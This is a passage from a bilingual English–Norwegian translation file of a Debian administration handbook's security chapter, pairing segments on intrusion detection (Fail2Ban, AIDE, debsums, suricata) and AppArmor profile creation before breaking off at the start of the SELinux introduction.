nb-NO: Det finnes mange øremerkede verktøy for denne oppgaven. De fleste kan hente data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) for å sentralisere denne informasjonen. En ekstra fordel er at dette tillater henting av data fra nettverkselementer som kanskje ikke er datamaskiner med et generelt formål, som øremerkede nettverksrutere eller brytere.

en: This book deals with Munin in some detail (see <xref linkend="sect.munin" />) as part of <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian also provides a similar tool, <emphasis role="pkg">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite.
nb-NO: Noe detaljert omhandler denne boken Munin (sjekk <xref linkend="sect.munin" />) som er en del av <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian leverer også et lignende verktøy, <emphasis role="pkg">cacti</emphasis>. Å ta det i bruk er litt mer komplisert, siden det kun er basert på SNMP. Til tross for at det forefinnes et nettgrensesnitt, kreves det litt innsats å få tak på begrepene som inngår i oppsettet. Å lese HTML-dokumentasjon (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) må betraktes som en forutsetning.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
nb-NO: <emphasis>ALTERNATIV</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
nb-NO: <command>mrtg</command> (i pakken med tilsvarende navn) er et eldre verktøy. Til tross for noen grove kanter, kan det samle historiske data og vise dem som grafer. Det inkluderer en rekke skript øremerket til å samle de vanligste verdiene å følge med på, som prosessorbelastning, nettverkstrafikk, nettsidetreff, og så videre.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
nb-NO: Pakkene <emphasis role="pkg">mrtg-contrib</emphasis> og <emphasis role="pkg">mrtgutils</emphasis> inneholder eksempelskripter som kan brukes direkte.

en: Avoiding Intrusion
nb-NO: Unngå inntrenging

en: <primary>intrusion detection</primary>
nb-NO: <primary>innbruddsvarsling</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
nb-NO: <filename>fail2ban.conf</filename>. Globalt oppsett (for eksempel logging).

en: <filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.
nb-NO: <filename>filter.d/*.conf</filename>. Filtre som angir hvordan du oppdager autentiseringsfeil. Debian-pakken inneholder allerede filtre for mange vanlige programmer.

en: <filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined.
nb-NO: <filename>jail.conf</filename>. Her defineres <emphasis>jails</emphasis>, kombinasjonene av filtre og handlinger.

en: Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works...
nb-NO: La oss se på oppsettet av <command>sshd</command> i <filename>/etc/fail2ban/jail.conf</filename> for å bedre forstå hvordan Fail2Ban fungerer ...

en: To enable, disable, or configure “jails“, the main configuration file <filename>/etc/fail2ban/jail.conf</filename> is not supposed to be altered. Instead this is supposed to be done in <filename>/etc/fail2ban/jail.d/defaults-debian.conf</filename> or files within the same directory.
nb-NO: For å aktivere, skru av, eller sette opp «jails» (~fengsel/innhegninger) er det meningen at hovedoppsettsfilen, <filename>/etc/fail2ban/jail.conf</filename> ikke skal være endret. Istedenfor bør dette gjøres i <filename>/etc/fail2ban/jail.d/defaults-debian.conf</filename> eller i filer som er å finne i samme mappe.

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
nb-NO: Fail2Ban er en veldig enkel og effektiv måte å beskytte seg mot de vanligste brute-force-angrep på, men det kan ikke beskytte mot distribuerte brute-force-angrep, som er når en angriper bruker et stort antall maskiner spredt rundt på Internett.

en: A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.
nb-NO: En god måte å gi ekstra beskyttelse mot distribuerte brute-force-angrep på, er å kunstig øke påloggingstiden etter hvert mislykket forsøk.

en: Detecting Changes
nb-NO: Å finne endringer

en: Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
nb-NO: Når systemet er installert og satt opp, og sikkerhetsoppgraderinger oppdatert, er det vanligvis ingen grunn til å utvikle videre de fleste filer og kataloger, bortsett fra for data. Det er derfor interessant å sørge for at filene faktisk ikke endres: Alle uventede endringer vil det derfor være verdt å undersøke. Denne delen presenterer noen verktøy som er i stand til å følge med på filer, og advare administratoren når en uventet endring skjer (eller rett og slett for å liste slike endringer).

en: Auditing Packages with <command>dpkg --verify</command>
nb-NO: Gjennomgå pakker med <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
nb-NO: <emphasis>FOR VIDEREKOMMENDE</emphasis> Å beskytte mot oppstrømsforandringer

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
nb-NO: <command>dpkg --verify</command> (eller <command>dpkg -V</command>) er et interessant verktøy, siden det tillater å finne hvilke installerte filer som har blitt endret (potensielt av en angriper), men dette bør tas med en klype salt. For å gjøre jobben sin er den avhengig av sjekkesummer lagret i dpkgs egen database lagret på harddisken (de kan finnes i <filename>/var/lib/dpkg/info/<replaceable>pakke</replaceable>.md5sums</filename>); Derfor vil en grundig angriper oppdatere disse filene slik at de inneholder de nye sjekksummene for filer som er byttet ut.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
nb-NO: <emphasis>DET GRUNNLEGGENDE</emphasis> Filers fingeravtrykk

en: <primary>fingerprint</primary>
nb-NO: <primary>fingeravtrykk</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
nb-NO: Å kjøre <command>dpkg -V</command> vil bekrefte alle installerte pakker, og vil skrive ut en linje for hver fil med en sviktende test. Utgangsformatet er det samme som fra <command>rpm -V</command> hvor hvert tegn betegner en test med noen spesifikke metadata. Dessverre lagrer ikke <command>dpkg</command> metadataen som trengs for de fleste testene, og vil dermed vise frem spørsmålstegn for dem. Foreløpig kan bare sjekksumtesten levere en «5»-er på det tredje tegnet (når den feiler).

en: Auditing Packages: <command>debsums</command> and its Limits
nb-NO: Kontroll av pakker: <command>debsums</command> og dens begrensninger

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
nb-NO: Siden dataene på disken ikke er å stole på, tilbyr <command>debsums</command> å gjøre sine undersøkelser på grunnlag av <filename>.deb</filename>-filer i stedet for å stole på dpkgs database. Vi kan basere oss på APTs autentiserte nedlastinger for å laste ned pålitelige <filename>.deb</filename>-filer for alle installerte pakker. Denne operasjonen kan være treg og omstendelig, og bør derfor ikke ansees som en proaktiv teknikk som skal brukes på jevnlig basis.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
nb-NO: Merk at dette eksemplet bruker <command>grep-status</command>-kommandoen fra <emphasis role="pkg">dctrl-tools</emphasis>-pakken, som ikke er installert som standard.

en: Monitoring Files: AIDE
nb-NO: Filmonitorering: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
nb-NO: AIDE-verktøyet (<emphasis>Advanced Intrusion Detection Environment</emphasis>) kan sjekke filens integritet, og oppdager alle endringer opp mot et tidligere innspilt bilde av systemet. Dette bildet er lagret som en database (<filename>/var/lib/aide/aide.db</filename>) som inneholder relevant informasjon om alle filene i systemet (fingeravtrykk, tillatelser, tidsstempler, og så videre). Denne databasen blir først initialisert med <command>aideinit</command>; og er så brukt daglig (med <filename>/etc/cron.daily/aide</filename>-skriptet) for å kontrollere om ingenting relevant er endret. Når det oppdages endringer, registrerer AIDE dem i loggfiler (<filename>/var/log/aide/*.log</filename>), og sender sine funn til administratoren med e-post.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
nb-NO: <emphasis>I PRAKSIS </emphasis> Å beskytte databasen

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
nb-NO: Ettersom AIDE bruker en lokal database for å sammenligne tilstanden til filene, er gyldigheten av resultatene direkte knyttet til databasens gyldighet. Hvis en angriper får rot-rettigheter til et kompromittert system, vil denne være i stand til å skifte ut databasen og dekke sine spor. En mulig løsning ville være å lagre referansedata på skrivebeskyttede lagringsmedier .

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
nb-NO: Mange valg i <filename>/etc/default/aide</filename> kan bli brukt til å justere handlingene til <emphasis role="pkg">aide</emphasis>-pakken. AIDE-oppsettet er lagret i <filename>/etc/aide/aide.conf</filename> og <filename>/etc/aide/aide.conf.d/</filename> (disse filene er faktisk bare brukt av <command>update-aide.conf</command> for å generere <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Oppsett indikerer hvilke egenskaper ved hvilke filer som må sjekkes. For eksempel kan innholdet i loggfiler endres rutinemessig, og slike endringer kan ignoreres så lenge rettighetene til disse filene forblir de samme, men både innhold og tillatelser for kjørbare programmer må være konstante. Selv om de ikke er veldig kompliserte, er ikke oppsettssyntaksen helt intuitiv, og å lese <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry>-manualsiden er derfor anbefalt.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
nb-NO: En ny versjon av databasen genereres hver dag i <filename>/var/lib/aide/aide.db.new</filename>; hvis alle registrerte endringer var legitime, kan den brukes til å erstatte referansedatabasen.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
nb-NO: <emphasis>ALTERNATIV</emphasis> Tripwire og Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
nb-NO: Tripwire er veldig lik AIDE: Selv syntaksen til oppsettsfilen er nesten den samme. Hovedtillegget, levert fra <emphasis role="pkg">tripwire</emphasis> er en mekanisme til å signere oppsettsfilen, slik at en angriper ikke kan få den til å peke til en annen versjon av referansedatabasen.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
nb-NO: Samhain tilbyr også lignende funksjoner, samt noen funksjoner for å hjelpe til med å oppdage rootkit (se sidepanelet <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). Den kan også distribueres globalt i et nettverk, og registrere sine spor på en sentral tjener (med en signatur).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
nb-NO: <emphasis>RASK TITT</emphasis> Pakkene <emphasis role="pkg">checksecurity</emphasis> og <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
nb-NO: Den første av disse pakkene inneholder flere små skript som utfører grunnleggende kontroller på systemet (tomme passord, nye setuid-filer og så videre), og advarer administratoren hvis nødvendig. Til tross for sitt eksplisitte navn, bør en administrator ikke stole utelukkende på det for å være sikker på at et Linux-system er trygt.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
nb-NO: Pakkene <emphasis role="pkg">chkrootkit</emphasis> og <emphasis role="pkg">rkhunter</emphasis> tillater at det sees etter om <emphasis>rootkits</emphasis> potensielt er installert i systemet. Som en påminnelse; disse er biter av programvare utviklet for å skjule kompromittering av et system, og samtidig å holde kontrollen over maskinen. Testene er ikke 100 % pålitelige, men de kan som regel trekke administratorens oppmerksomhet til potensielle problemer.

en: <emphasis role="pkg">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.
nb-NO: <emphasis role="pkg">rkhunter</emphasis> utfører også kontroller for å se om kommandoer er endret, om systemoppstartsfiler er forandret, samt ulike kontroller av nettverksgrensesnittene, inkludert sjekk etter programmer som lytter.

en: Detecting Intrusion (IDS/NIDS)
nb-NO: Å avdekke inntrenging (IDS/NIDS)

en: <primary>network</primary><secondary>IDS</secondary><seealso>NIDS</seealso>
nb-NO: <primary>nettverk</primary><secondary>IDS</secondary><seealso>NIDS</seealso>

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
nb-NO: <emphasis>DET GRUNNLEGGENDE</emphasis> Tjenestenektangrep

en: <primary>Denial of Service</primary><seealso>DoS</seealso>
nb-NO: <primary>tjenestenektangrep</primary><seealso>DoS</seealso>

en: <primary>Distributed Denial of Service</primary><seealso>DDoS</seealso>
nb-NO: <primary>distribuert tjenestenektangrep</primary><seealso>DDoS</seealso>

en: <primary>DDoS</primary><seealso>Distributed Denial of Service</seealso>
nb-NO: <primary>DDoS</primary><seealso>Distribuert tjenestenekteangrep</seealso>

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
nb-NO: Et «tjenestenektangrep» har bare ett mål: Å gjøre en tjeneste utilgjengelig. Enten et slikt angrep innebærer å overbelaste tjeneren med henvendelser eller utnytte en feil, er sluttresultatet det samme: tjenesten er ikke lenger i drift. Vanlige brukere er misfornøyde, og aktøren som er vert for den rammede nettverkstjenesten, lider et tap i omdømme (og muligens inntekter, for eksempel hvis tjenesten var et e-handelsnettsted).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
nb-NO: Et slikt angrep er ofte «distribuert»: Dette innebærer vanligvis å overbelaste tjeneren med et stort antall henvendelser som kommer fra mange forskjellige kilder, slik at tjeneren blir ute av stand til å svare på legitime henvendelser. Disse typer angrep har fått kjente forkortelser: <acronym>DDoS</acronym> og <acronym>DoS</acronym> (avhengig av om tjenestenektangrepet er distribuert eller ikke).

en: <emphasis>CAUTION</emphasis> Range of action
nb-NO: <emphasis>VÆR VARSOM</emphasis> Handlingsrom

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
nb-NO: Effektiviteten til <command>suricata</command> er begrenset av trafikken som er synlig på det monitorerte nettverksgrensesnittet. Det vil åpenbart ikke være i stand til å oppdage noe hvis det ikke kan observere den reelle trafikken. Koblet til en nettverksvitsj, vil det derfor kun følge med på angrep mot maskinen det kjører på, som sannsynligvis ikke er intensjonen. Maskinen som er vert for <command>suricata</command> bør derfor plugges til svitsjens «speil»-port, som vanligvis er øremerket for å koble svitsjer sammen i kjede, og som derfor får all trafikk.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
nb-NO: For å oppdage feilaktig oppførsel trenger <command>suricata</command> et sett med monitoreringsregler: Du kan finne slike regler i <emphasis role="pkg">snort-rules-default</emphasis>-pakken. <command>snort</command> er den historiske referansen i IDS-økosystemet, og <command>suricata</command> kan gjenbruke regler skrevet for den.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
nb-NO: <emphasis>FOR VIDEREKOMMENDE</emphasis> integrasjon med <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
nb-NO: Prelude leverer sentralisert monitorering av sikkerhetsinformasjon. Den modulære arkitekturen inkluderer en tjener (<emphasis>manager</emphasis> i <emphasis role="pkg">prelude-manager</emphasis>) som samler varsler generert av ulike typer <emphasis>sensorer</emphasis>.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
nb-NO: Suricata kan settes opp som en slik sensor. Andre muligheter inkluderer <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) som følger med på loggfiler (på en måte som svarer til <command>logcheck</command>, beskrevet i <xref linkend="sect.logcheck" />).

en: Introduction to AppArmor
nb-NO: Introduksjon til AppArmor

en: Principles
nb-NO: Prinsipper

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
nb-NO: AppArmor er et system for obligatorisk adgangskontroll, et såkalt <emphasis>Mandatory Access Control</emphasis>-system (MAC- system), som bygger på Linux sitt LSM-grensesnitt (<emphasis>Linux Security Modules</emphasis>). I praksis spør kjernen AppArmor før hvert systemkall for å få vite om prosessen er autorisert til utføre den gitte operasjonen. Gjennom denne mekanismen begrenser AppArmor programmer til et begrenset sett med ressurser.

en: AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend="sect.selinux" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).
nb-NO: AppArmor anvender et sett med regler (kjent som «profil») på hvert program. Profilen som kjernen bruker avhenger av installasjonsbanen til programmet som kjøres. I motsetning til SELinux (omtalt i <xref linkend="sect.selinux" />) er ikke reglene som brukes avhengig av brukeren. Alle brukere står overfor samme regelverk når de utfører samme program (men tradisjonelle brukertillatelser gjelder fortsatt, og kan resultere i ulik atferd!).

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
nb-NO: AppArmor profiler er lagret i <filename>/etc/apparmor.d/</filename>, og de inneholder en liste over adgangskontrollregler for ressurser som hvert program kan gjøre bruk av. Profilene er kompilert og lastet inn i kjernen av <command>apparmor_parser</command>-kommandoen. Hver profil kan lastes enten i håndhevings- eller klagemodus. Den første håndhever politikk og rapporterer krenkingsforsøk, mens sistnevnte ikke håndhever politikken, men logger likevel systempåkallinger som ville ha blitt nektet.

en: Enabling AppArmor and managing AppArmor profiles
nb-NO: Å aktivere AppArmor og håndtere AppArmor-profiler

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
nb-NO: AppArmor-støtte er bygget inn i Debians standardkjerner. Å aktivere AppArmor er dermed bare et spørsmål om å installere noen pakker, ved å kjøre <command>apt install apparmor apparmor-profiles apparmor-utils</command> med rotprivilegier.

en: AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:
nb-NO: AppArmor fungerer etter installasjonen, og <command>aa-status</command> vil raskt bekrefte det:

en: <emphasis>NOTE</emphasis> More AppArmor profiles
nb-NO: <emphasis>MERK</emphasis> Flere AppArmor-profiler

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
nb-NO: Pakken <emphasis role="pkg">apparmor-profiles</emphasis> inneholder profiler som forvaltes oppstrøms av AppArmor-fellesskapet. For å få enda flere profiler kan du installere <emphasis role="pkg">apparmor-profiles-extra</emphasis> med profiler utviklet av Ubuntu og Debian.

en: The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>.
nb-NO: Tilstanden for hver profil kan veksle mellom håndheving og klager med anrop til <command>aa-enforce</command> og <command>aa-complain</command>, som gir som parameter enten banen til den kjørbare filen, eller til policy-filen. I tillegg kan en profil helt deaktiveres <command>aa-disable</command>, eller sette i revisjonsmodus (for å logge aksepterte systemanrop også) med <command>aa-audit</command>.

en: Creating a new profile
nb-NO: Å lage en ny profil

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
nb-NO: Selv om det er ganske enkelt å opprette en AppArmor-profil, mangler de fleste programmer en. Denne seksjonen vil vise deg hvordan du oppretter en ny profil fra bunnen av, bare ved hjelp av målprogrammet, og ved å la AppArmor følge med på systemanropene det lager, og ressursene det har tilgang til.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
nb-NO: De viktigste programmene som trenger beskyttelse er de som er eksponert mot nettverket, ettersom de er de mest sannsynlige mål for eksterne angripere. Det er derfor AppArmor beleilig nok tilbyr en <command>aa-unconfined</command>-kommando for å liste programmer som ikke har noen tilknyttet profil, og som eksponerer en åpen nettverkssocket. Med <literal>--paranoid</literal>-alternativet får du alle ubeskyttede prosesser med minst én aktiv nettverkstilkobling.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
nb-NO: Den første hendelsen som oppdages er kjøringen av et annet program. Da har du flere valg: Du kan kjøre programmet med profilen til foreldreprosessen («Inherit»-valget), du kan kjøre den med sin egen dedikerte profil («Profile»- og «Named»-valgene, som bare avviker i muligheten til å bruke et vilkårlig profilnavn), du kan kjøre den med en under-profil til den overordnede prosessen («Child»-valget), du kan kjøre den uten profil («Unconfined»-valget), eller du kan bestemme deg for å ikke kjøre i det hele tatt («Deny»-valget).

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
nb-NO: Merk at når du velger å kjøre den under en øremerket profil som ikke finnes ennå, vil verktøyet opprette den manglende profilen for deg, og lager regelforslag for den profilen i det samme løpet.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
nb-NO: På kjernenivå er de spesielle rettighetene til rotbrukeren delt etter «kvalifikasjoner». Når en systempåkalling krever en bestemt kvalifikasjon, vil AppArmor verifisere om profilen tillater programmet å bruke denne muligheten.

en: Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it.
nb-NO: Her søker programmet lesetillatelse for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> oppdaget at denne tillatelsen også ble gitt av flere «abstraksjoner», og tilbyr dem som alternative valg. En abstraksjon tilbyr et gjenbrukbart sett tilgangsregler, og grupperer sammen flere ressurser som ofte brukes sammen. I dette konkrete tilfellet blir filen vanligvis nådd gjennom navnetjenestens relaterte funksjoner i C-biblioteket, og vi skriver «2» for først å velge «#include &lt;abstractions/openssl&gt;»-valget og så «A» for å tillate det.

en: Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile.
nb-NO: Legg merke til at denne tilgangsforespørselen ikke er en del av dhclient-profilen, men av den nye profilen som vi laget da vi tillot <filename>/usr/sbin/dhclient-script</filename> å kjøre med sin egen profil.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
nb-NO: Etter å ha gått gjennom alle de loggede hendelsene, tilbyr programmet å lagre alle profilene som ble opprettet under kjøringen. I dette tilfellet har vi to profiler som vi sparer med én gang med «Lagre» (men du kan lagre dem enkeltvis også) før du forlater programmet med «Ferdig».

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
nb-NO: <command>aa-genprof</command> er i realiteten bare et smart omslag rundt <command>aa-logprof</command>; den skaper en tom profil, laster den i klagemodus, og kjører deretter <command>aa-logprof</command>, som er et verktøy for å oppdatere en profil basert på profilovertredelsen som har blitt logget. Så du kan kjøre dette verktøyet igjen senere for å forbedre profilen du nettopp opprettet.

en: If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a <filename>/etc/apparmor.d/usr.sbin.dhclient</filename> close to the profile shipped by <emphasis role="pkg">apparmor-profiles</emphasis> in <filename>/usr/share/apparmor/extra-profiles/sbin.dhclient</filename>.
nb-NO: Hvis du vil ha den genererte profilen komplett, bør du bruke programmet på alle måter det er legitimt å bruke det. Med dhclient betyr det å kjøre den via Network Manager, å kjøre den via ifupdown, å kjøre den manuelt, etc. Til slutt kan du få en <filename>/etc/apparmor.d/usr.sbin.dhclient</filename> nær profilen som er del av <emphasis role="pkg">apparmor-profiles</emphasis> i <filename>/usr/share/apparmor/extra-profiles/sbin.dhclient</filename>.

en: And <filename>/etc/apparmor.d/usr.sbin.dhclient-script</filename> might be similar to <filename>/usr/share/apparmor/extra-profiles/sbin.dhclient</filename>, shipped in <emphasis role="pkg">apparmor-profiles</emphasis> too.
nb-NO: <filename>/etc/apparmor.d/usr.sbin.dhclient-script</filename> kan ligne på <filename>/usr/share/apparmor/extra-profiles/sbin.dhclient</filename>, som også tilbys i <emphasis role="pkg">apparmor-profiles</emphasis>.

en: Introduction to SELinux
nb-NO: Introduksjon til SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
